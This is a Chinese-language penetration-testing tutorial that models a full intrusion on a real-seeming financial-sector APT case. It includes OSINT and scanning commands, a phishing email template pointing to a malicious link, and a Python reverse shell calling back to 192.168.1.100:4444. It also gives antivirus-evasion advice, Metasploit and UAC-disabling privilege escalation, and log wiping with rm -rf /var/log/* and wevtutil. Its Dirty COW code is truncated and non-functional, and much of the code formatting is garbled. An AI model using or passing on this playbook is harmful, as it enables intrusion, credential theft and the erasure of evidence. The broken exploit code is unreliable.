一、目标锁定:从一个真实案例说起

2019年某全球知名金融机构遭遇了一次APT攻击,在这次事件中,攻击者通过一次精准的社工钓鱼邮件引导目标用户点击恶意链接,成功渗透了该机构的内网。随后,攻击者利用漏洞进行权限提升,横向移动到核心服务器,并窃取了超过数百GB的敏感数据。这次攻击展示了一个完整的渗透链条,从外部进入到内部核心资产的全过程。

本文将以该案例为背景,带你构建一个完整的渗透测试教程,展示如何模拟类似攻击,从信息收集到痕迹清除,梳理每一步的技术细节。

---

二、信息收集:敌我双方的情报战

在渗透测试中,信息收集是整个攻击链的第一步,也是至关重要的一环。你需要尽可能多地了解目标的网络结构、资产信息和人员背景。以下是我在实战中常用的几个方法:

1. 被动信息收集(无接触侦查)

目标:获取尽可能多的公开信息,降低暴露风险。

黑客示意图

OSINT工具与技术

  • 使用 theHarvester 搜索域名相关的邮箱、子域、IP等信息:
  • <pre><code class="language-bash"> theHarvester -d example.com -b all `

  • 利用 Shodan 对目标的外部服务进行探测:
  • `bash shodan search &quot;example.com&quot; `

  • 调用 DNSdumpster 获取子域名和外部IP:
  • `bash python dnsdumpster.py example.com `

  • 搜索员工社交媒体(如LinkedIn)以收集潜在钓鱼目标。

Python代码——自动化域名信息收集</code></pre>python

import requests from bs4 import BeautifulSoup

def scrape_subdomains(domain): url = f"https://crt.sh/?q={domain}" headers = {"User-Agent": "Mozilla/5.0"} response = requests.get(url, headers=headers) soup = BeautifulSoup(response.text, "html.parser") subdomains = set() for row in soup.find_all('tr'): try: subdomains.add(row.find('td').text.strip()) except AttributeError: pass return subdomains

黑客示意图

domain = "example.com" print(f"Subdomains found for {domain}:") print(scrape_subdomains(domain)) <pre><code>

2. 主动信息收集(带接触侦查)

目标:直接与目标交互以获取更多细节信息,同时保持隐蔽性。

  • 端口扫描:用 Nmap 探测开放端口及服务版本:
  • `bash nmap -sC -sV -T4 -oN scan_results.txt example.com `

  • 目录爆破:使用 gobuster 或 dirsearch 枚举隐藏目录:
  • `bash gobuster dir -u http://example.com -w wordlist.txt -t 30 `

  • 漏洞扫描:借助工具如 Nessus、OpenVAS 扫描已知漏洞。

---

三、钓鱼邮件与 Payload构造的艺术

在这个阶段,我们需要构造一个能够引诱目标用户执行的恶意载荷。这里使用一个经典的钓鱼邮件案例。

1. 构造钓鱼邮件

编写一个看似真实的邮件内容,诱使目标点击附带的恶意链接。

示例邮件内容</code></pre> Subject: [重要通知] 关于2023年年底奖金发放流程更新

尊敬的[姓名]:

您好!为了确保您的年底奖金顺利发放,请及时登录以下链接,并更新您的信息。

点击此处登录:http://malicious-link.com/update

感谢您的配合!

某某人力资源部 <pre><code>

2. 制作恶意载荷(Python实现)

需求:生成一个能够回连的恶意程序,通过目标点击触发远程控制。

Python代码——生成反向Shell</code></pre>python

import socket import subprocess import os

def connect_back(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) # Redirect stdin os.dup2(s.fileno(), 1) # Redirect stdout os.dup2(s.fileno(), 2) # Redirect stderr subprocess.call(["/bin/bash", "-i"])

connect_back("192.168.1.100", 4444) <pre><code>

  • 使用 PyInstaller 将脚本打包为可执行文件:
  • `bash pyinstaller --onefile reverse_shell.py `

3. 流量伪装与免杀技巧

  • 流量伪装:在载荷代码中使用 HTTPS 或 WebSocket 伪装通信。
  • 免杀策略
  • 使用工具如 Veil 或 Shellter 进行加壳。
  • 修改代码结构,避免被签名检测。
  • 动态加载恶意模块,以规避静态分析。

---

四、内网渗透:突破边界的科学

当你成功进入目标内网后,这里才是真正考验攻击者技术的阶段。主要任务包括权限提升与横向移动。

权限提升

利用目标系统的漏洞或配置错误,提升当前用户权限。

Windows提权

  • MS14-058漏洞:通过 Metasploit 提权:
  • `bash use exploit/windows/local/ms14_058_track_popup_menu set session 1 exploit `

  • UAC绕过:手动修改注册表:
  • `powershell reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f `

Linux提权

  • SUID提权:枚举 SUID 文件并利用:
  • `bash find / -perm -4000 -type f 2&gt;/dev/null `

  • Kernel漏洞利用:利用 Dirty COW 漏洞提权:
  • `c

include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;fcntl.h&gt;

include &lt;pthread.h&gt;

include &lt;string.h&gt;

include &lt;unistd.h&gt;

define PATH &quot;/etc/passwd&quot;

void madviseThread(void arg) { char str = (char )arg; madvise(str, 100, MADV_DONTNEED); return NULL; }

int main() { int file = open(PATH, O_RDONLY); char *map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, file, 0); pthread_t pth; pthread_create(&amp;pth, NULL, madviseThread, map); pthread_join(pth, NULL); return 0; } `

---

五、痕迹清除:消失的艺术

一名优秀的攻击者不仅需要进入目标系统,还需要确保自己不会被发现。以下是常用的痕迹清除技巧。

Windows日志清除

  • 使用 PowerShell 清除 Event Viewer:
  • `powershell wevtutil cl Application wevtutil cl Security wevtutil cl System `

Linux操作记录清除

  • 清除命令历史:
  • `bash history -c `

  • 删除日志文件:
  • `bash rm -rf /var/log/* `

文件时间戳伪造

通过修改文件的访问时间和修改时间,隐藏操作痕迹:</code></pre>bash touch -t 202301010101 target_file `

---

六、个人总结:成为猎手的关键思维

黑客示意图

渗透测试不仅是技术的较量,更是思维的博弈。作为一个红队成员,你需要像猎手一样敏锐,像幽灵一样隐蔽。始终记住以下几点:

  • 保持耐心:渗透测试是一个长线任务,别急于求成。
  • 迭代学习:不断更新你的工具和技术。
  • 风险意识:永远确保你的测试行为在法律框架内进行。

这是一次完整的渗透旅程,希望你能将这些技巧用于合法的安全测试中,并不断提升自己的攻击能力。